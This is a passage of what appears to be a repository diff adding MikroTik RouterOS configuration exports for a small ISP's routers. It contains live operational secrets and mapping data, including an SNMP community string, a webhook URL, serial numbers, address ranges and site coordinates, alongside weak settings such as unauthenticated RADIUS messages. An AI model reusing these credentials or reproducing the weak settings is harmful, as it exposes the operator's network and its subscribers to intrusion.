set www-ssl address=204.110.188.0/22,10.0.0.0/8
set ssh address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10 port=1022
set winbox address=204.110.188.0/22,10.0.0.0/8
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
set api-ssl certificate=MyCA
/ip ssh
set host-key-type=ed25519 strong-crypto=yes
/ipv6 address
add address=2606:1c80:0:1010::1 interface=ether6-verona-11ghz
/ipv6 dhcp-relay option
set client_mac value="0x0001\$(CLIENT_MAC)"
/ipv6 nd
set [ find default=yes ] advertise-dns=yes
/mpls interface
add interface=ether6-verona-11ghz mpls-mtu=1508
add interface=ether4-380-airfiber24 mpls-mtu=1508
add interface=ether5-494 mpls-mtu=1508
/mpls ldp
add disabled=no lsr-id=10.254.254.102 transport-addresses=10.254.254.102 vrf=\
main
/mpls ldp interface
add interface=ether6-verona-11ghz
add interface=ether4-380-airfiber24
add interface=ether5-494
/ppp aaa
set interim-update=1h use-radius=yes
/radius
add address=204.110.191.248 require-message-auth=no service=ppp,hotspot,dhcp \
src-address=204.110.188.62 timeout=2s
add address=204.110.191.2 require-message-auth=no service=ppp,hotspot,dhcp \
src-address=204.110.188.62 timeout=2s
/radius incoming
set accept=yes
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5 vrf=\
main
/routing filter rule
add chain=ospf-in disabled=no rule=accept
add chain=ospf-out disabled=no rule=accept
/routing ospf interface-template
add area=backbone-v3 cost=10 disabled=no use-bfd=no
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether6-verona-11ghz priority=1 type=ptp use-bfd=no
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether5-494 priority=1 type=ptp use-bfd=yes
add area=backbone-v3 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether3-culleoka-11ghz priority=1 type=ptp use-bfd=no
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether4-380-airfiber24 priority=1 type=ptp use-bfd=no
/routing ospf static-neighbor
add address=10.250.1.25%ether6-verona-11ghz area=backbone-v2 disabled=no \
poll-interval=10s
add address=10.250.1.9%ether3-culleoka-11ghz area=backbone-v2 disabled=no \
poll-interval=10s
/snmp
set contact=graham@vntx.net enabled=yes location="33.187291, -96.448119"
/system clock
set time-zone-autodetect=no time-zone-name=CST6CDT
/system identity
set name=Climax
/system ntp client
set enabled=yes
/system ntp client servers
add address=ntp.vntx.net
add address=0.us.pool.ntp.org
/system package update
set channel=long-term
/system routerboard settings
# Firmware upgraded successfully, please reboot for changes to take effect!
set auto-upgrade=yes enter-setup-on=delete-key

582
mikrotik-tool/core.rsc Normal file
View file

@ -0,0 +1,582 @@
# 2026-05-08 17:46:02 by RouterOS 7.21.4
# software id = XS5B-41QR
#
# model = CCR1009-7G-1C-1S+
# serial number = 8495073BCE3B
/interface ethernet
set [ find default-name=combo1 ] l2mtu=9000 name=combo1-380 rx-flow-control=\
auto tx-flow-control=auto
set [ find default-name=ether1 ] l2mtu=9000 name=ether1-982-60ghz \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether2 ] l2mtu=9000 name=ether2-office \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether3 ] l2mtu=9000 name=ether3-edge-direct \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether4 ] l2mtu=9000 name=ether4-newhope \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether5 ] l2mtu=2024 name=ether5-climax \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether6 ] l2mtu=2024 name=ether6-culleoka-11ghz \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether7 ] disabled=yes l2mtu=9000 name=ether7-380tower \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=sfp-sfpplus1 ] l2mtu=9000 name=\
sfp-sfpplus1-edge-preseem rx-flow-control=auto tx-flow-control=auto
/interface vlan
add interface=combo1-380 name=vlan10_combo1 vlan-id=10
/interface lte apn
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
aes-256-cbc,aes-128-cbc pfs-group=modp2048
/ip pool
add name=sstp ranges=172.16.91.1-172.16.91.253
add name=380 ranges=100.64.8.1-100.64.11.230
add name=380-mgmt ranges=10.10.64.1-10.10.79.230
/ip dhcp-server
add address-pool=380 interface=combo1-380 lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=380
add address-pool=380-mgmt interface=vlan10_combo1 lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=380-mgmt
/ip smb users
set [ find default=yes ] disabled=yes
/ppp profile
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.20 \
local-address=100.64.11.253 name=380 on-down="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 1\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
\_for \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (AWS API)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
r \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" on-up="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 5\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
or \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (gaiia)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
\$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" remote-address=380 use-ipv6=no use-upnp=no
set *FFFFFFFE local-address=172.16.91.254 remote-address=sstp
/queue type
add kind=fq-codel name=FQ_Codel
/queue interface
set combo1-380 queue=FQ_Codel
set ether1-982-60ghz queue=FQ_Codel
set ether2-office queue=FQ_Codel
set ether3-edge-direct queue=FQ_Codel
set ether4-newhope queue=FQ_Codel
set ether5-climax queue=FQ_Codel
set ether6-culleoka-11ghz queue=FQ_Codel
set ether7-380tower queue=FQ_Codel
set sfp-sfpplus1-edge-preseem queue=FQ_Codel
/routing bgp instance
add as=65530 name=bgp-instance-1 router-id=10.254.254.253
/routing bgp template
set default as=65530 disabled=no
/routing id
add disabled=no id=10.254.254.253 name=id-1 select-dynamic-id=""
/routing ospf instance
add disabled=no in-filter-chain=ospf-in name=default-v2 out-filter-chain=\
ospf-out redistribute=connected,static router-id=id-1 routing-table=main
add disabled=no name=default-v3 redistribute=connected,static router-id=id-1 \
routing-table=main version=3
/routing ospf area
add disabled=no instance=default-v2 name=backbone-v2
add disabled=no instance=default-v3 name=backbone-v3
/routing table
add fib name=testnat
/snmp community
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
kdyyJrT0Mm
/system logging action
add name=logs remote=204.110.191.229 remote-port=1514 src-address=\
10.254.254.253 target=remote
/ip smb
set enabled=no
/ip firewall connection tracking
set tcp-established-timeout=4h tcp-fin-wait-timeout=2m tcp-time-wait-timeout=\
2m
/ip neighbor discovery-settings
set discover-interface-list=!dynamic
/ip settings
set max-neighbor-entries=8192 tcp-syncookies=yes
/ipv6 settings
set max-neighbor-entries=8192 soft-max-neighbor-entries=8191
/interface pppoe-server server
add authentication=mschap2 default-profile=380 disabled=no interface=\
combo1-380 max-mru=1492 max-mtu=1492 service-name=380
/interface sstp-server server
set certificate=ServerCA enabled=yes
/ip address
add address=204.110.191.185/30 interface=sfp-sfpplus1-edge-preseem network=\
204.110.191.184
add address=10.0.0.254/24 disabled=yes interface=ether7-380tower network=\
10.0.0.0
add address=10.250.1.89/29 interface=ether5-climax network=10.250.1.88
add address=10.250.1.62/29 interface=ether4-newhope network=10.250.1.56
add address=204.110.191.181/30 interface=ether3-edge-direct network=\
204.110.191.180
add address=10.254.254.253 interface=lo network=10.254.254.253
add address=10.250.2.6/29 interface=ether2-office network=10.250.2.0
add address=10.250.1.38/29 interface=ether1-982-60ghz network=10.250.1.32
add address=10.250.1.54/29 interface=ether6-culleoka-11ghz network=\
10.250.1.48
add address=10.250.1.246/29 disabled=yes interface=combo1-380 network=\
10.250.1.240
add address=100.64.11.254/22 interface=combo1-380 network=100.64.8.0
add address=10.10.79.254/20 interface=vlan10_combo1 network=10.10.64.0
/ip dhcp-server network
add address=10.10.64.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=10.10.79.254 ntp-server=204.110.191.19
add address=100.64.8.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=100.64.11.254 ntp-server=204.110.191.19
/ip dns
set servers=9.9.9.9,1.1.1.1
/ip firewall filter
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether1-982-60ghz
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether1-982-60ghz
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether4-newhope
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether4-newhope
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=\
ether6-culleoka-11ghz
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether6-culleoka-11ghz
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether5-climax
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether5-climax
add action=fasttrack-connection chain=forward comment=\
"fasttrack established/related" connection-state=established,related
add action=drop chain=forward disabled=yes src-address-list=suspended
add action=drop chain=forward disabled=yes dst-address-list=suspended
add action=accept chain=forward comment="accept established/related" \
connection-state=established,related
/ip ipsec profile
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
sha256
/ip proxy
set port=29347
/ip proxy access
add src-address=10.0.0.0/8
add src-address=100.64.0.0/10
add src-address=204.110.188.0/22
add action=deny
/ip route
add check-gateway=ping disabled=no dst-address=0.0.0.0/0 gateway=\
204.110.191.186
add disabled=no distance=1 dst-address=204.110.188.32/27 gateway=10.250.1.94 \
routing-table=main scope=30 target-scope=10
add disabled=no distance=1 dst-address=10.250.1.88/29 gateway=10.250.1.94 \
routing-table=main scope=30 target-scope=10
add dst-address=10.254.254.101/32 gateway=10.250.1.94
add dst-address=10.254.254.102/32 gateway=10.250.1.94
add dst-address=10.250.1.64/29 gateway=10.250.1.94
add dst-address=10.250.1.24/29 gateway=10.250.1.94
add dst-address=10.250.1.8/29 gateway=10.250.1.94
add dst-address=10.10.16.0/20 gateway=10.250.1.94
add dst-address=10.10.0.0/20 gateway=10.250.1.94
add dst-address=204.110.191.0/27 gateway=10.250.1.94
add dst-address=100.64.4.0/22 gateway=10.250.1.94
add dst-address=100.64.12.0/22 gateway=10.250.1.94
add dst-address=100.64.0.0/22 gateway=10.250.1.94
add dst-address=204.110.188.224/27 gateway=10.250.1.94
add dst-address=10.250.1.144/29 gateway=10.250.1.94
add dst-address=10.254.254.111/32 gateway=10.250.1.94
add dst-address=100.64.160.0/20 gateway=10.250.1.94
add dst-address=204.110.188.64/27 gateway=10.250.1.94
/ip service
set ftp disabled=yes
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
set www address=204.110.188.225/32 port=2080
set winbox address=204.110.188.0/22,10.0.0.0/8
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
set api-ssl certificate=myCa
/ip ssh
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
/ipv6 address
add address=2606:1c80:0:1000::1 disabled=yes interface=ether5-climax
add address=2606:1c80:0:1001::1 disabled=yes interface=ether4-newhope
add address=2606:1c80:0:1002::2 disabled=yes interface=\
sfp-sfpplus1-edge-preseem
/ipv6 nd
set [ find default=yes ] advertise-dns=yes
/mpls interface
add interface=ether5-climax mpls-mtu=1508
add interface=ether6-culleoka-11ghz mpls-mtu=1508
add interface=ether4-newhope mpls-mtu=1508
add interface=ether1-982-60ghz mpls-mtu=1508
/mpls ldp
add disabled=no lsr-id=10.254.254.253 transport-addresses=10.254.254.253 vrf=\
main
/mpls ldp interface
add interface=ether5-climax
add interface=ether6-culleoka-11ghz
add interface=ether4-newhope
add interface=ether1-982-60ghz
/ppp aaa
set use-radius=yes
/radius
add address=204.110.191.248 require-message-auth=no service=ppp src-address=\
204.110.191.185 timeout=300ms
add address=204.110.191.2 require-message-auth=no service=ppp src-address=\
204.110.191.185 timeout=300ms
add accounting-backup=yes address=45.76.56.5 require-message-auth=no service=\
ppp src-address=204.110.191.185 timeout=300ms
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
/routing bgp connection
add disabled=yes instance=bgp-instance-1 local.role=ibgp name=climax \
remote.address=10.250.1.94/32 routing-table=main templates=default
/routing filter rule
add chain=ospf-in disabled=no rule="accept;"
add chain=ospf-out disabled=no rule="accept;"
/routing ospf interface-template
add area=backbone-v2 auth-id=1 cost=10 disabled=no interfaces=\
sfp-sfpplus1-edge-preseem priority=1 type=ptp use-bfd=yes
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether5-climax priority=1 type=ptp use-bfd=yes
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether4-newhope priority=1 type=ptp use-bfd=yes
add area=backbone-v2 auth-id=1 cost=100 disabled=no interfaces=\
ether3-edge-direct priority=1 type=ptp use-bfd=yes
add area=backbone-v2 auth-id=1 cost=10 disabled=no interfaces=ether2-office \
priority=1 type=nbma use-bfd=no
add area=backbone-v2 auth-id=1 cost=10 disabled=no interfaces=\
ether1-982-60ghz priority=1 type=ptp use-bfd=no
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether6-culleoka-11ghz priority=1 type=ptp use-bfd=yes
add area=backbone-v3 cost=10 disabled=no priority=1 use-bfd=no
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
ether4-newhope type=ptp
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
ether1-982-60ghz type=ptp
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
ether5-climax type=ptp
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=\
ether6-culleoka-11ghz type=ptp
/routing ospf static-neighbor
add address=204.110.191.186%sfp-sfpplus1-edge-preseem area=backbone-v2 \
disabled=no
add address=10.250.2.1%ether2-office area=backbone-v2 disabled=no
/routing rip static-neighbor
add address="" disabled=no instance=*1
/routing rule
add action=lookup-only-in-table disabled=yes src-address=10.10.0.0/16 table=\
testnat
add action=lookup-only-in-table disabled=yes src-address=100.64.0.0/22 table=\
testnat
add action=lookup-only-in-table disabled=yes src-address=100.64.0.0/10 table=\
testnat
/snmp
set contact=graham@vntx.net enabled=yes location="33.174156, -96.491941" \
trap-generators=temp-exception,interfaces,start-trap trap-interfaces=all \
trap-target=204.110.191.234
/system clock
set time-zone-name=America/Chicago
/system identity
set name=Core
/system logging
add action=logs topics=info
add action=logs disabled=yes prefix=ospf topics=ospf
/system ntp client
set enabled=yes
/system ntp client servers
add address=204.110.191.19
add address=0.us.pool.ntp.org
add address=216.229.4.66
add address=1.us.pool.ntp.org
/system package update
set channel=long-term
/system scheduler
add name=reboot on-event="/system reboot\
\n" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=2025-01-07 start-time=04:00:00
/tool graphing interface
add
/tool graphing queue
add
/tool graphing resource
add

697
mikrotik-tool/culleoka.rsc Normal file
View file

@ -0,0 +1,697 @@
# 2026-05-08 17:46:02 by RouterOS 7.21.4
# software id = HVP9-3G0K
#
# model = CCR1009-7G-1C-1S+
# serial number = 7AF2078E2C9B
/interface bridge
add add-dhcp-option82=yes dhcp-snooping=yes disabled=yes igmp-snooping=yes \
name=culleoka port-cost-mode=short
add name=culleoka-tower port-cost-mode=short
add name=mgmt port-cost-mode=short
add name=public port-cost-mode=short
/interface ethernet
set [ find default-name=combo1 ] l2mtu=9000
set [ find default-name=ether1 ] l2mtu=2024 name=ether1-climax-11ghz \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether2 ] l2mtu=9000 name=ether2-netonix
set [ find default-name=ether3 ] l2mtu=9000 rx-flow-control=auto \
tx-flow-control=auto
set [ find default-name=ether4 ] disabled=yes l2mtu=9000 name=ether4-climax
set [ find default-name=ether5 ] l2mtu=9000 name=ether5-jeff-tv \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether6 ] advertise="10M-baseT-half,10M-baseT-full,100M\
-baseT-half,100M-baseT-full,1G-baseT-half,1G-baseT-full" l2mtu=2024 name=\
ether6-380-11ghz rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether7 ] advertise="10M-baseT-half,10M-baseT-full,100M\
-baseT-half,100M-baseT-full,1G-baseT-half,1G-baseT-full" l2mtu=9000 name=\
"ether7-maybe-bad\?" rx-flow-control=auto tx-flow-control=auto
set [ find default-name=sfp-sfpplus1 ] disabled=yes l2mtu=9000 name=\
sfp-sfpplus1-10g-switch
/interface vlan
add interface=ether2-netonix name=vlan10_ether2 vlan-id=10
add interface=ether2-netonix name=vlan100_netonix8 vlan-id=100
add interface=ether2-netonix name=vlan101_netonix9 vlan-id=101
add interface=ether2-netonix name=vlan102_netonix10 vlan-id=102
add interface=ether2-netonix name=vlan103_netonix13 vlan-id=103
add interface=ether2-netonix name=vlan104_netonix14 vlan-id=104
add interface=ether2-netonix name=vlan_30_clayton vlan-id=30
/interface lte apn
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip hotspot profile
add dns-name=culleoka.vntx.net hotspot-address=10.100.111.254 login-by=mac \
mac-auth-mode=mac-as-username-and-password name=hsprof1
/ip hotspot
add addresses-per-mac=unlimited idle-timeout=none interface=ether2-netonix \
name=hotspot1 profile=hsprof1
/ip hotspot user profile
set [ find default=yes ] add-mac-cookie=no on-logout=" /ip hotspot host remove\
